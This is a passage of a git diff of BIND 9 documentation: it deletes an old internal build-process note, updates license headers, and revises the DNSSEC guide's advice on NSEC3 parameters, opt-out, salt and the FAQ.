-  :35             CVS tree extracted, tarball built and distributed
-  :00             Most tests begin
-  :45             Status report generator runs (was :30)
-
-  bb:             Build starts at top of hour, 0300 to 2200
-  durango:        Build starts at top of hour, 0300 to 2200
-  trantor:        Build starts at top of hour, 0300 to 2100, odd-numbered hours
-		  only
-  hp:             Build starts at top of hour, 0300 to 2200
-  irix:           Build starts at top of hour, 0300 to 2200
-  netbsd:         Build starts at top of hour, 0300 to 2200 (was :45)
-  aa:             Build starts at top of hour, 0300 to 2200
-  rc:             Build starts at top of hour, 0300 to 2200
-  mirepoix:       Build starts at top of hour, 0300 to 2200
-  sol:            Build starts at top of hour, 0300 to 2200
-  truffle:        Build starts at top of hour, 0300 to 2200
-  anthrax:        Build starts at top of hour, 0300 to 2200
-
-The actual builds take place in a directory whose location differs
-among systems.  On most of them, it's on a local disk, under /build.
-On some, it's on NFS; in this case the location is defined in
-~wpk/b9t/hosts/$PLATFORM/env.
-
-The output from the make process is in
-~wpk/b9t/hosts/$PLATFORM/b9t-status, and the output from
-The output from the later stages of the process is under
-/proj/build-reports/bind9/hosts/$PLATFORM.  To make the files
-harder to find (?), they have names starting with a period:
-
-  .populate
-  .config
-  .build
-  .test
-
-
-* Common problems
-
-Sometime named processes fail to die when the tests are done,
-interfering with the next test.  Just kill them.
-
-On hp.rc.vix.com, the tests often fail because of NFS I/O errors.
-When this happens, the machine needs to be rebooted.  It will not
-come up again without manually entering commands on the console.
-
-On bb, the tests sometimes fail because .nfs* files stuck in the build
-tree keep it from being completely deleted when the next test runs.
-The .nfs* files cannot be deleted, but they can be moved, so one way
-of fixing this is to move them to ~wpk.
-
-On aix, the tests routinely fail with an assertion failure related
-to omapi socket handling - see RT #507.
-
-
-* Failure locking
-
-When a test fails, further testing on that host is disabled in order
-to preserve evidence. Also, tests don't start if they are already
-running.  Both of these rules are enforce through "lockout files"
-craeted in /proj/build-reports/bind9/hosts/*/.
-
-To remove the lockout and allow more tests to be run, log in to bb,
-su, su wpk, and remove any "failed" and "running" files:
-
-   rm /proj/build-reports/bind9/hosts/*/failed
-   rm /proj/build-reports/bind9/hosts/*/running
-
-The "failed" file contains the time of failure, which is not
-particularly useful.  The more useful information is in the various
-log files under the build report.
diff --git a/doc/dev/unexpected b/doc/dev/unexpected
index 2c6de4546a..bb9f00a8b5 100644
--- a/doc/dev/unexpected
+++ b/doc/dev/unexpected
@@ -1,6 +1,15 @@
+<!--
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+-->
 
 Unexpected Errors
 
@@ -28,8 +37,7 @@ not, we call UNEXPECTED_ERROR().  E.g.
 
 void foo() {
 	if (some_unix_thang() < 0) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "some_unix_thang() failed: %s",
+		UNEXPECTED_ERROR("some_unix_thang() failed: %s",
 				 strerror(errno));
 		return (ISC_R_UNEXPECTED);
 	}
diff --git a/doc/dnssec-guide/advanced-discussions.rst b/doc/dnssec-guide/advanced-discussions.rst
index 47cd391d0e..97438b8354 100644
--- a/doc/dnssec-guide/advanced-discussions.rst
+++ b/doc/dnssec-guide/advanced-discussions.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_advanced_discussions:
 
@@ -100,6 +101,7 @@ To solve this problem, two different solutions were created. We will
 look at the first one, NSEC, next.
 
 .. _advanced_discussions_nsec:
+.. _NSEC:
 
 NSEC
 ^^^^
@@ -123,7 +125,7 @@ So we end up with four NSEC records:
 
 ::
 
-   example.com.        300   IN  NSEC    alice.example.com.  A RRSIG NSEC
+   example.com.        300 IN  NSEC    alice.example.com.  A RRSIG NSEC
    alice.example.com.  300 IN  NSEC    edward.example.com. A RRSIG NSEC
    edward.example.com. 300 IN  NSEC    susan.example.com.  A RRSIG NSEC
    susan.example.com.  300 IN  NSEC    example.com.        A RRSIG NSEC
@@ -167,13 +169,15 @@ phone book: if you don't want a name to be known publicly, don't put it
 in DNS! Consider using DNS views (split DNS) and only display your
 sensitive names to a select audience.
 
-The second drawback of NSEC is actually increased operational
-overhead: there is no opt-out mechanism for insecure child zones. This generally
-is a problem for parent-zone operators dealing with a lot of insecure
-child zones, such as ``.com``. To learn more about opt-out, please see
-:ref:`advanced_discussions_nsec3_optout`.
+The second potential drawback of NSEC is a bigger zone file and memory consumption;
+there is no opt-out mechanism for insecure child zones, so each name
+in the zone will get an additional NSEC record and a RRSIG record to go with
+it. In practice this is a problem only for parent-zone operators dealing with
+mostly insecure child zones, such as ``com.``. To learn more about opt-out,
+please see :ref:`advanced_discussions_nsec3_optout`.
 
 .. _advanced_discussions_nsec3:
+.. _nsec3:
 
 NSEC3
 ^^^^^
@@ -203,7 +207,7 @@ back into the ribeye steak: that's what we call a one-way hash.
 
 NSEC3 basically runs the names through a one-way hash before giving them
 out, so the recipients can verify the non-existence without any
-knowledge of the actual names.
+knowledge of the other names in the zone.
 
 So let's tell our little story for the third time, this
 time with NSEC3. In this version, our intern is not given a list of actual
@@ -227,99 +231,129 @@ ease of display):
 
 ::
 
-   FSK5....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  JKMA... A RRSIG
-   JKMA....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  NTQ0... A RRSIG
-   NTQ0....example.com. 300 IN NSEC3 1 0 10 1234567890ABCDEF  FSK5... A RRSIG
+   FSK5....example.com. 300 IN NSEC3 1 0 0 -  JKMA... A RRSIG
+   JKMA....example.com. 300 IN NSEC3 1 0 0 -  NTQ0... A RRSIG
+   NTQ0....example.com. 300 IN NSEC3 1 0 0 -  FSK5... A RRSIG
 
 .. note::
 
    Just because we employed one-way hash functions does not mean there is
    no way for a determined individual to figure out our zone data.
-   Someone could still gather all of our NSEC3 records and hashed
-   names and perform an offline brute-force attack by trying all
-   possible combinations to figure out what the original name is. In our
-   meat-grinder analogy, this would be like someone
-   buying all available cuts of meat and grinding them up at home using
-   the same model of meat grinder, and comparing the output with the meat
-   you gave him. It is expensive and time-consuming (especially with
-   real meat), but like everything else in cryptography, if someone has
-   enough resources and time, nothing is truly private forever. If you
-   are concerned about someone performing this type of attack on your
-   zone data, read more about adding salt as described in
-   :ref:`advanced_discussions_nsec3_salt`.
+
+Most names published in the DNS are rarely secret or unpredictable. They are
+published to be memorable, used and consumed by humans. They are often recorded
+in many other network logs such as email logs, certificate transparency logs,
+web page links, intrusion detection systems, malware scanners, email archives,
+etc. Many times a simple dictionary of commonly used domain-name prefixes
+(www, mail, imap, login, database, etc.) can be used to quickly reveal a large
+number of labels within a zone. Additionally, if an adversary really wants to
+expend significant CPU resources to mount an offline dictionary attack on a
+zone's NSEC3 chain, they will likely be able to find most of the "guessable"
+names despite any level of hashing.
+
+Also, it is still possible to gather all of our NSEC3 records and hashed
+names and perform an offline brute-force attack by trying all
+possible combinations to figure out what the original name is. In our
+meat-grinder analogy, this would be like someone
+buying all available cuts of meat and grinding them up at home using
+the same model of meat grinder, and comparing the output with the meat
+you gave him. It is expensive and time-consuming (especially with
+real meat), but like everything else in cryptography, if someone has
+enough resources and time, nothing is truly private forever. If you
+are concerned about someone performing this type of attack on your
+zone data, use some of the special techniques described in :rfc:`4470`.
 
 .. _advanced_discussions_nsec3param:
 
 NSEC3PARAM
 ++++++++++
 
-The above NSEC3 examples used four parameters: 1, 0, 10, and
-1234567890ABCDEF. 1 represents the algorithm, 0 represents the opt-out
-flag, 10 represents the number of iterations, and 1234567890ABCDEF is the
+.. warning::
+   Before we dive into the details of NSEC3 parametrization, please note:
+   the defaults should not be changed without a strong justification and a full
+   understanding of the potential impact.
+
+The above NSEC3 examples used four parameters: 1, 0, 0, and
+zero-length salt. 1 represents the algorithm, 0 represents the opt-out
+flag, 0 represents the number of additional iterations, and - is the
 salt. Let's look at how each one can be configured:
 
--  *Algorithm*: The only currently defined value is 1 for SHA-1, so there
-   is no configuration field for it.
+.. glossary::
 
--  *Opt-out*: Set this to 1 for NSEC3 opt-out, which we
-   discuss in :ref:`advanced_discussions_nsec3_optout`.
+   Algorithm
+   NSEC3 Hashing Algorithm
+      The only currently defined value is 1 for SHA-1, so there
+      is no configuration field for it.
 
--  *Iterations*: Iterations defines the number of additional times to
-   apply the algorithm when generating an NSEC3 hash. More iterations
-   yield more secure results, but consume more resources for both
-   authoritative servers and validating resolvers. The considerations
-   here are similar to those seen in :ref:`key_sizes`, of
-   security versus resources.
+   Opt-out
+      Setting this bit to 1 enables NSEC3 opt-out, which is
+      discussed in :ref:`advanced_discussions_nsec3_optout`.
 
--  *Salt*: The salt cannot be configured explicitly, but you can provide
-   a salt length and ``named`` generates a random salt of the given length.
-   We learn more about salt in :ref:`advanced_discussions_nsec3_salt`.
+   Iterations
+      Iterations defines the number of _additional_ times to
+      apply the algorithm when generating an NSEC3 hash. More iterations
+      consume more resources for both authoritative servers and validating
+      resolvers. The considerations here are similar to those seen in
+      :ref:`key_sizes`, of security versus resources.
 
-If you want to use these NSEC3 parameters for a zone, you can add the
-following configuration to your ``dnssec-policy``. For example, to create an
-NSEC3 chain using the SHA-1 hash algorithm, with no opt-out flag,
-5 iterations, and a salt that is 8 characters long, use:
+      .. warning::
+         Do not use values higher than zero. A value of zero provides one round
+         of SHA-1 hashing and protects from non-determined attackers.
 
-::
+         A greater number of additional iterations causes interoperability problems
+         and opens servers to CPU-exhausting DoS attacks, while providing
+         only doubtful security benefits.
 
-   dnssec-policy "nsec3" {
-       ...
-       nsec3param iterations 5 optout no salt-length 8;
-   };
+   Salt
+      A salt value, which can be combined with an FQDN to influence the
+      resulting hash. Salt is discussed in more detail in
+      :ref:`advanced_discussions_nsec3_salt`.
 
-To set the opt-out flag, 15 iterations, and no salt, use:
+.. _advanced_discussions_nsec3_optout:
 
-::
+NSEC3 Opt-Out
++++++++++++++
+
+First things first: For most DNS administrators who do not manage a huge number
+of insecure delegations, the NSEC3 opt-out featuere is not relevant.
+
+Opt-out allows for blocks of unsigned delegations to be covered by a single NSEC3
+record. In other words, use of the opt-out allows large registries to only sign as
+many NSEC3 records as there are signed DS or other RRsets in the zone; with
+opt-out, unsigned delegations do not require additional NSEC3 records. This
+sacrifices the tamper-resistance proof of non-existence offered by NSEC3 in
+order to reduce memory and CPU overheads, and decreases the effectiveness of the cache
+(:rfc:`8198`).
+
+Why would that ever be desirable? If a significant number of delegations
+are not yet securely delegated, meaning they lack DS records and are still
+insecure or unsigned, generating DNSSEC records for all their NS records
+might consume lots of memory and is not strictly required by the child zones.
+
+This resource-saving typically makes a difference only for *huge* zones like ``com.``.
+Imagine that you are the operator of busy top-level domains such as ``com.``,
+with millions of insecure delegated domain names.
+As of mid-2022, around 3% of all ``com.`` zones are signed. Basically,
+without opt-out, with 1,000,000 delegations, only 30,000 of which are secure, you
+still have to generate NSEC RRsets for the other 970,000 delegations; with
+NSEC3 opt-out, you will have saved yourself 970,000 sets of records.
+
+In contrast, for a small zone the difference is operationally negligible
+and the drawbacks outweigh the benefits.
+
+If NSEC3 opt-out is truly essential for a zone, the following
+configuration can be added to :any:`dnssec-policy`; for example, to create an
+NSEC3 chain using the SHA-1 hash algorithm, with the opt-out flag,
+no additional iterations, and no extra salt, use:
+
+.. code-block:: none
 
    dnssec-policy "nsec3" {
        ...
-       nsec3param iterations 15 optout yes salt-length 0;
+       nsec3param iterations 0 optout yes salt-length 0;
    };
 
-.. _advanced_discussions_nsec3_optout:
-
-NSEC3 Opt-Out
-+++++++++++++
 
-One of the advantages of NSEC3 over NSEC is the ability for a parent zone
-to publish less information about its child or delegated zones. Why
-would you ever want to do that? If a significant number of your
-delegations are not yet DNSSEC-aware, meaning they are still insecure or
-unsigned, generating DNSSEC-records for their NS and glue records is not
-a good use of your precious name server resources.
-
-The resources may not seem like a lot, but imagine that you are the
-operator of busy top-level domains such as ``.com`` or ``.net``, with
-millions of insecure delegated domain names: it quickly
-adds up. As of mid-2020, less than 1.5% of all ``.com`` zones are
-signed. Basically, without opt-out, with 1,000,000 delegations,
-only 5 of which are secure, you still have to generate NSEC RRsets for
-the other 999,995 delegations; with NSEC3 opt-out, you will have saved
-yourself 999,995 sets of records.
-
-For most DNS administrators who do not manage a large number of
-delegations, the decision whether to use NSEC3 opt-out is
-probably not relevant.
 
 To learn more about how to configure NSEC3 opt-out, please see
 :ref:`recipes_nsec3_optout`.
@@ -329,50 +363,35 @@ To learn more about how to configure NSEC3 opt-out, please see
 NSEC3 Salt
 ++++++++++
 
-As described in :ref:`advanced_discussions_nsec3`, while NSEC3
-does not put your zone data in plain public display, it is still not
-difficult for an attacker to collect all the hashed names and perform
-an offline attack. All that is required is running through all the
-combinations to construct a database of plaintext names to hashed names,
-also known as a "rainbow table."
-
-There is one more feature NSEC3 gives us to provide additional
-protection: salt. Basically, salt gives us the ability to introduce further
-randomness into the hashed results. Whenever the salt is changed, any
-pre-computed rainbow table is rendered useless, and a new rainbow table
-must be re-computed. If the salt is changed periodically, it
-becomes difficult to construct a useful rainbow table, and thus difficult to
-walk the DNS zone data programmatically. How often you want to change
-your NSEC3 salt is up to you.
-
-To learn more about the steps to take to change NSEC3, please see
-:ref:`recipes_nsec3_salt`.
+.. warning::
+   Contrary to popular belief, adding salt provides little value.
+   Each DNS zone is always uniquely salted using the zone name. **Operators should
+   use a zero-length salt value.**
+
+The properties of this extra salt are complicated and beyond scope of this
+document. For detailed description why the salt in the context of DNSSEC
+provides little value please see `IETF draft ietf-dnsop-nsec3-guidance version
+10 section 2.4
+<https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-nsec3-guidance-10#section-2.4>`__.
 
 .. _advanced_discussions_nsec_or_nsec3:
 
 NSEC or NSEC3?
 ^^^^^^^^^^^^^^
 
-So which one should you choose: NSEC or NSEC3? There is not a
-single right answer here that fits everyone; it comes down to your
-network's needs or requirements.
+So which is better: NSEC or NSEC3? There is no single right
+answer here that fits everyone; it comes down to a given network's needs or
+requirements.
 
-If you prefer not to make your zone easily enumerable, implementing
-NSEC3 paired with a periodically changed salt provides a certain
-level of privacy protection. However, someone could still randomly guess
-the names in your zone (such as "ftp" or "www"), as in the traditional
-insecure DNS.
+In most cases, NSEC is a good choice for zone administrators. It
+relieves the authoritative servers and resolver of the additional cryptographic
+operations that NSEC3 requires, and NSEC is comparatively easier to
+troubleshoot than NSEC3.
 
-If you have many delegations and need to be able to opt-out to save
-resources, NSEC3 is for you.
-
-In other situations, NSEC is typically a good choice for most zone
-administrators, as it relieves the authoritative servers of the
-additional cryptographic operations that NSEC3 requires, and NSEC is
-comparatively easier to troubleshoot than NSEC3.
-
-NSEC3 in conjunction with ``dnssec-policy`` is supported in BIND
-as of version 9.16.9.
+NSEC3 comes with many drawbacks and should be implemented only if zone
+enumeration prevention is really needed, or when opt-out provides a
+significant reduction in memory and CPU overheads (in other words, with a
+huge zone with mostly insecure delegations).
 
 .. _advanced_discussions_key_generation:
 
@@ -664,12 +683,10 @@ damage be if a key were compromised without you knowing about it? How
 serious would a key roll failure be?
 
 Before going any further, it is worth noting that if you sign your zone
-with either of the fully automatic methods (described in ref:`signing_alternative_ways`),
-you don't really need to
-concern yourself with the details of a key rollover: BIND 9 takes care of
-it all for you. If you are doing a manual key roll or are setting up the
-keys for a semi-automatic key rollover, you do need to familiarize yourself
-with the various steps involved and the timing details.
+with :any:`dnssec-policy`, you don't really need to concern yourself with the
+details of a key rollover: BIND 9 takes care of it all for you. If you are
+doing a manual key roll, you do need to familiarize yourself with the various
+steps involved and the timing details.
 
 Rolling a key is not as simple as replacing the DNSKEY statement in the
 zone. That is an essential part of it, but timing is everything. For
@@ -864,62 +881,12 @@ roll over DNSKEYs to a new algorithm, e.g., from RSASHA1 (algorithm 5 or
 7) to RSASHA256 (algorithm 8). The algorithm rollover steps must be followed with
 care to avoid breaking DNSSEC validation.
 
-If you are managing DNSSEC by using the ``dnssec-policy`` configuration,
-``named`` handles the rollover for you. Simply change the algorithm
-for the relevant keys, and ``named`` uses the new algorithm when the
+If you are managing DNSSEC by using the :any:`dnssec-policy` configuration,
+:iscman:`named` handles these steps for you. Simply change the algorithm
+for the relevant keys, and :iscman:`named` uses the new algorithm when the
 key is next rolled. It performs a smooth transition to the new
 algorithm, ensuring that the zone remains valid throughout rollover.
 
-If you are using other methods to sign the zone, the administrator needs to do more work. As
-with other key rollovers, when the zone is a primary zone, an algorithm
-rollover can be accomplished using dynamic updates or automatic key
-rollovers. For secondary zones, only automatic key rollovers are
-possible, but the ``dnssec-settime`` utility can be used to control the
-timing.
-
-In any case, the first step is to put DNSKEYs in place using the new algorithm.
-You must generate the ``K*`` files for the new algorithm and put
-them in the zone's key directory, where ``named`` can access them. Take
-care to set appropriate ownership and permissions on the keys. If the
-``auto-dnssec`` zone option is set to ``maintain``, ``named``
-automatically signs the zone with the new keys, based on their timing
-metadata when the ``dnssec-loadkeys-interval`` elapses or when you issue the
-``rndc loadkeys`` command. Otherwise, for primary zones, you can use
-``nsupdate`` to add the new DNSKEYs to the zone; this causes ``named``
-to use them to sign the zone. For secondary zones, e.g., on a
-"bump in the wire" signing server, ``nsupdate`` cannot be used.
-
-Once the zone has been signed by the new DNSKEYs (and you have waited
-for at least one TTL period), you must inform the parent zone and any trust
-anchor repositories of the new KSKs, e.g., you might place DS records in
-the parent zone through your DNS registrar's website.
-
-Before starting to remove the old algorithm from a zone, you must allow
-the maximum TTL on its DS records in the parent zone to expire. This
-assures that any subsequent queries retrieve the new DS records
-for the new algorithm. After the TTL has expired, you can remove the DS
-records for the old algorithm from the parent zone and any trust anchor
-repositories. You must then allow another maximum TTL interval to elapse
-so that the old DS records disappear from all resolver caches.
-
-The next step is to remove the DNSKEYs using the old algorithm from your
-zone. Again this can be accomplished using ``nsupdate`` to delete the
-old DNSKEYs (for primary zones only) or by automatic key rollover when
-``auto-dnssec`` is set to ``maintain``. You can cause the automatic key
-rollover to take place immediately by using the ``dnssec-settime``
-utility to set the *Delete* date on all keys to any time in the past.
-(See the ``dnssec-settime -D <date/offset>`` option.)
-
-After adjusting the timing metadata, the ``rndc loadkeys`` command
-causes ``named`` to remove the DNSKEYs and
-RRSIGs for the old algorithm from the zone. Note also that with the
-``nsupdate`` method, removing the DNSKEYs also causes ``named`` to
-remove the associated RRSIGs automatically.
-
-Once you have verified that the old DNSKEYs and RRSIGs have been removed
-from the zone, the final (optional) step is to remove the key files for
-the old algorithm from the key directory.
-
 Other Topics
 ~~~~~~~~~~~~
 
@@ -934,9 +901,9 @@ environment.
 
 When you have both DNSSEC and dynamic updates in your environment,
 updating zone data works the same way as with traditional (insecure)
-DNS: you can use ``rndc freeze`` before editing the zone file, and
-``rndc thaw`` when you have finished editing, or you can use the
-command ``nsupdate`` to add, edit, or remove records like this:
+DNS: you can use :option:`rndc freeze` before editing the zone file, and
+:option:`rndc thaw` when you have finished editing, or you can use the
+command :iscman:`nsupdate` to add, edit, or remove records like this:
 
 ::
 
@@ -946,10 +913,10 @@ command ``nsupdate`` to add, edit, or remove records like this:
    > send
    > quit
 
-The examples provided in this guide make ``named`` automatically
+The examples provided in this guide make :iscman:`named` automatically
 re-sign the zone whenever its content has changed. If you decide to sign
 your own zone file manually, you need to remember to execute the
-``dnssec-signzone`` command whenever your zone file has been updated.
+:iscman:`dnssec-signzone` command whenever your zone file has been updated.
 
 As far as system resources and performance are concerned, be mindful that
 with a DNSSEC zone that changes frequently, every time the zone
@@ -1048,7 +1015,7 @@ Below are a few challenges and disadvantages that DNSSEC faces.
    actually signed. What this means is, even if your company's zone is
    signed today, fewer than 30% of the Internet's servers are taking
    advantage of this extra security. It gets worse: with less than 1.5%
-   of the ``.com`` domains signed, even if your DNSSEC validation is enabled today,
+   of the ``com.`` domains signed, even if your DNSSEC validation is enabled today,
    it's not likely to buy you or your users a whole lot more protection
    until these popular domain names decide to sign their zones.
 
diff --git a/doc/dnssec-guide/commonly-asked-questions.rst b/doc/dnssec-guide/commonly-asked-questions.rst
index 9d6a32305a..3f8c834fe3 100644
--- a/doc/dnssec-guide/commonly-asked-questions.rst
+++ b/doc/dnssec-guide/commonly-asked-questions.rst
@@ -1,20 +1,21 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _dnssec_commonly_asked_questions:
 
 Commonly Asked Questions
 ------------------------
 
-No questions are too stupid to ask. Below are some common
-questions you may have and (hopefully) some answers that help.
+Below are some common questions and (hopefully) some answers that
+help.
 
 Do I need IPv6 to have DNSSEC?
    No. DNSSEC can be deployed without IPv6.
@@ -25,64 +26,67 @@ Does DNSSEC encrypt my DNS traffic, so others cannot eavesdrop on my DNS queries
    privacy. Someone who sniffs network traffic can still see all the DNS
    queries and answers in plain text; DNSSEC just makes it very difficult
    for the eavesdropper to alter or spoof the DNS responses.
+   For protection against eavesdropping, the preferred protocol is DNS-over-TLS.
+   DNS-over-HTTPS can also do the job, but it is more complex.
+
+If I deploy DNS-over-TLS/HTTPS, can I skip deploying DNSSEC?
+   No. DNS-over-encrypted-transport stops eavesdroppers on a network, but it does
+   not protect against cache poisoning and answer manipulation in other parts
+   of the DNS resolution chain. In other words, these technologies offer protection
+   only for records when they are in transit between two machines; any
+   compromised server can still redirect traffic elsewhere (or simply eavesdrop).
+   However, DNSSEC provides integrity and authenticity for DNS
+   *records*, even when these records are stored in caches and on disks.
 
 Does DNSSEC protect the communication between my laptop and my name server?
    Unfortunately, not at the moment. DNSSEC is designed to protect the
    communication between end clients (laptop) and name servers;
    however, there are few applications or stub resolver libraries as of
-   mid-2020 that take advantage of this capability. While enabling DNSSEC today
-   does little to enhance the security of communications between a recursive
-   server and its clients (commonly called the "last mile"), we hope that
-   will change in the near future as more applications become DNSSEC-aware.
+   mid-2020 that take advantage of this capability.
 
 Does DNSSEC secure zone transfers?
    No. You should consider using TSIG to secure zone transfers among your
    name servers.
 
 Does DNSSEC protect my network from malicious websites?
-   The answer in the early stages of DNSSEC deployment is, unfortunately,
-   no. DNSSEC is designed to provide
-   confidence that when you receive a DNS response for www.company.com over
-   port 53, it really came from Company's name servers and the
-   answers are authentic. But that does not mean the web server a user visits
-   over port 80 or port 443 is necessarily safe. Furthermore, 98.5% of
-   domain name operators (as of this writing in mid-2020) have not yet signed
-   their zones, so DNSSEC cannot even validate their answers.
-   
-   The answer for sometime in
-   the future is that, as more zones are signed and more
-   recursive servers validate, DNSSEC will make it much more
-   difficult for attackers to spoof DNS responses or perform cache
-   poisoning. It will still not protect against users who visit a malicious
-   website that an attacker owns and operates, or prevent users from
+   DNSSEC makes it much more difficult for attackers to spoof DNS responses
+   or perform cache poisoning. It cannot protect against users who
+   visit a malicious website that an attacker owns and operates, or prevent users from
    mistyping a domain name; it will just become less likely that an attacker can
    hijack other domain names.
 
+   In other words, DNSSEC is designed to provide confidence that when
+   a DNS response is received for www.company.com over port 53, it really came from
+   Company's name servers and the answers are authentic. But that does not mean
+   the web server a user visits over port 80 or port 443 is necessarily safe.
+
 If I enable DNSSEC validation, will it break DNS lookup, since most domain names do not yet use DNSSEC?
-   No, DNSSEC is backwards-compatible to "standard"
-   DNS. As of this writing (in mid-2020), although 98.5% of the .com domains have yet to
-   be signed, a DNSSEC-enabled validating resolver can still look up all of
-   these domain names as it always has under standard DNS.
-   
+   No, DNSSEC is backwards-compatible to "standard" DNS. A DNSSEC-enabled
+   validating resolver can still look up all of these domain names as it always
+   has under standard DNS.
+
    There are four (4) categories of responses (see :rfc:`4035`):
-   
-   *Secure*:
-      Domains that have DNSSEC deployed correctly.
-
-   *Insecure*:
-      Domains that have yet to deploy DNSSEC.
-   
-   *Bogus*:
-      Domains that have deployed DNSSEC but have done it incorrectly.
-   
-   *Indeterminate*:
-      Domains for which it is not possible to determine whether these domains use DNSSEC.
-
-   A DNSSEC-enabled validating resolver still resolves #1 and #2; only #3
-   and #4 result in a SERVFAIL. You may already be using DNSSEC
-   validation without realizing it, since some ISPs have begun enabling
-   DNSSEC validation on their recursive name servers. Google public DNS
-   (8.8.8.8) also has enabled DNSSEC validation.
+
+   .. glossary::
+
+      Secure
+         Domains that have DNSSEC deployed correctly.
+
+      Insecure
+         Domains that have yet to deploy DNSSEC.
+
+      Bogus
+         Domains that have deployed DNSSEC but have done it incorrectly.
+
+      Indeterminate
+         Domains for which it is not possible to determine whether these domains use DNSSEC.
+
+   A DNSSEC-enabled validating resolver still resolves :term:`Secure` and
+   :term:`Insecure`; only :term:`Bogus` and :term:`Indeterminate` result in a
+   SERVFAIL.
+   As of mid-2022, roughly one-third of users worldwide are using DNSSEC validation
+   on their recursive name servers. Google public DNS (8.8.8.8) also has
+   enabled DNSSEC validation.
 
 Do I need to have special client software to use DNSSEC?
    No. DNSSEC only changes the communication
@@ -145,15 +149,15 @@ Can I use the same key for multiple zones?
    logins. First, categorize your zones: high-value zones (or zones that have
    specific key rollover requirements) get their own key pairs, while other,
    more "generic" zones can use a single key pair for easier management. Note that
-   at present (mid-2020), fully automatic signing (using the ``dnssec-policy``
-   clause in your ``named`` configuration file) does not support reuse of keys
+   at present (mid-2020), fully automatic signing (using the :any:`dnssec-policy`
+   clause in your :iscman:`named` configuration file) does not support reuse of keys
    except when the same zone appears in multiple views (see next question).
    To use the same key for multiple zones, sign your
    zones using semi-automatic signing. Each zone wishing to use the key
    should point to the same key directory.
 
 How do I sign the different instances of a zone that appears in multiple views?
-   Add a ``dnssec-policy`` statement to each ``zone`` definition in the
+   Add a :any:`dnssec-policy` statement to each :any:`zone` definition in the
    configuration file. To avoid problems when a single computer accesses
    different instances of the zone while information is still in its cache
    (e.g., a laptop moving from your office to a customer site), you
@@ -163,6 +167,6 @@ How do I sign the different instances of a zone that appears in multiple views?
 
 Will there be any problems if I change the DNSSEC policy for a zone?
    If you are using fully automatic signing, no. Just change the parameters in the
-   ``dnssec-policy`` statement and reload the configuration file. ``named``
+   :any:`dnssec-policy` statement and reload the configuration file. :iscman:`named`
    makes a smooth transition to the new policy, ensuring that your zone
    remains valid at all times.
diff --git a/doc/dnssec-guide/getting-started.rst b/doc/dnssec-guide/getting-started.rst
index 12b2808b9f..ff3ae2cc5d 100644
--- a/doc/dnssec-guide/getting-started.rst
+++ b/doc/dnssec-guide/getting-started.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 .. _getting_started:
 
@@ -18,90 +19,11 @@ Getting Started
 Software Requirements
 ~~~~~~~~~~~~~~~~~~~~~
 
-.. _bind_version:
-
-BIND Version
-^^^^^^^^^^^^
-
-Most configuration examples given in this document require BIND version
-9.16.0 or newer (although many do work with all versions of BIND
-later than 9.9). To check the version of ``named`` you have installed,
-use the ``-v`` switch as shown below:
-
-::
-
-   # named -v
-   BIND 9.16.0 (Stable Release) <id:6270e602ea>
-
-Some configuration examples are added in BIND version 9.17 and backported
-to 9.16. For example, NSEC3 configuration requires BIND version 9.16.9.
-
-We recommend you run the latest stable version to get the most complete
-DNSSEC configuration, as well as the latest security fixes.
-
-.. _dnssec_support_in_bind:
-
-DNSSEC Support in BIND
-^^^^^^^^^^^^^^^^^^^^^^
-
-All versions of BIND 9 since BIND 9.7 can support DNSSEC, as currently
-deployed in the global DNS, so the BIND software you are running most
-likely already supports DNSSEC. Run the command ``named -V``
-to see what flags it was built with. If it was built with OpenSSL
-(``--with-openssl``), then it supports DNSSEC. Below is an example
-of the output from running ``named -V``:
-
-::
-
-   $ named -V
-   BIND 9.16.0 (Stable Release) <id:6270e602ea>
-   running on Linux x86_64 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u4 (2019-07-19)
